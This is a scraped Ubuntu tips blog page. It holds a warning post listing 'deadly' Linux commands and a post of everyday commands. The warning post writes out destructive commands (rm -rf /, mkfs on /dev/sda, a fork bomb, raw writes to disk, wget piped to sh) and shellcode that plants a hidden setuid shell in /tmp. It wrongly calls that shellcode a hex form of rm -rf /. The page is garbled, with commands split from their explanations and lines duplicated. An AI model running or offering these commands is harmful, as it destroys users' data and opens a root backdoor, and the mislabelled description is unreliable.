1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
3. Code:
mkfs.ext3 /dev/sda
4. Code:
:(){:|:&};:
5. Code:
any_command > /dev/sda
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
Search Site
Feed Section
Showing posts with label Commands. Show all posts
Showing posts with label Commands. Show all posts
Sunday, July 12, 2009
Deadly Linux Commands to avoid - Ubuntu TipsnTricks
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.
Labels:
Commands
Useful Linux Commands - Ubuntu TipsnTricks
Execute each command as root, which is safer than actually switching into root via "su".
ifconfig
Displays the network card connection/configuration.
sudo apt-get install PackageName
Will install the whatever "PackageName" I typed and the dependancy files.
sudo shutdown -h now
Shuts down my Ubuntu and powers it off right away.
&&
Command to complete more that one action. For example:
sudo make && make install
Which runs the "make" script and then installs the "made" package.
Command to complete more that one action. For example:
sudo make && make install
Which runs the "make" script and then installs the "made" package.
ping 10.0.1.1
Sends test packets to whatever IP you type in, to help troubleshoot network connections.
Sends test packets to whatever IP you type in, to help troubleshoot network connections.
apt-get moo
Just to look smart! Try it!
Just to look smart! Try it!
cat /etc/issue
Displays the current Ubuntu version.
wget http://syserr.com/stuff/madwifi-cvs-20051025.tar.gz
Will download the file from any URL you enter after "wget"
tar -zxfv madwifi-cvs-20051025.tar.gz
Will uncompress the downloaded file
z means "Gunzip(uncompress) it before extracting, used on file ending in .tar.gz or .tgz"
x means "Extract the contents of the TAR file"
f means "Filename to follow"
v means "Verbose - display contents as it is tarring or extracting"
chmod +x install.sh
Command that says "Make the script file install.sh executable". I sometimes run into this after using wget and trying to run installer scripts.
sudo apt-get autoclean
Removes partial packages.
Removes partial packages.
sudo cp /home/roger/backups/bk03072008.tar.gz /var/www/downloads
Copies a file from one directory to another directory. (in this case the file bk03072008.tar.gz was copied to the /var/www/downloads directory).
If you don't want to copy but move the file, change cp to mv.
Copies a file from one directory to another directory. (in this case the file bk03072008.tar.gz was copied to the /var/www/downloads directory).
If you don't want to copy but move the file, change cp to mv.
find . -name "*.odt"
When looking for OpenOffice documents (in the current directory and all it's subdirectories) or find ./roger -name network_notes.odt when I know the exact name of the file.
..
Move up one level in the directory structure.
Move up one level in the directory structure.
iwlist scan
Dislay wireless networks that are in range.
Dislay wireless networks that are in range.
mkisofs -V LABEL -r dir | gzip > backups.iso.gz
Makes a CD image of the backup directory contents
Makes a CD image of the backup directory contents
cdrecord -v dev=/dev/cdrom blank=fast
Quick command to erase a CDRW
Quick command to erase a CDRW
history -c
In a multiuser environment, it is sometimes not good to leave history. Of course you can just "exit" to leave the terminal.
In a multiuser environment, it is sometimes not good to leave history. Of course you can just "exit" to leave the terminal.
arch
Displays the processor architecture so I know if I should download i386, i686 based application pakages.
Displays the processor architecture so I know if I should download i386, i686 based application pakages.
whereis something
Displays where "something" is stored.
There are 100's more. But these are the ones I tend to use more often. As usual, I hope this helps others!
Displays where "something" is stored.
There are 100's more. But these are the ones I tend to use more often. As usual, I hope this helps others!
And... one for the road...
If you want to create a file called "me", just "touch me"
If you want to create a file called "me", just "touch me"
Labels:
Commands
Subscribe to:
Posts (Atom)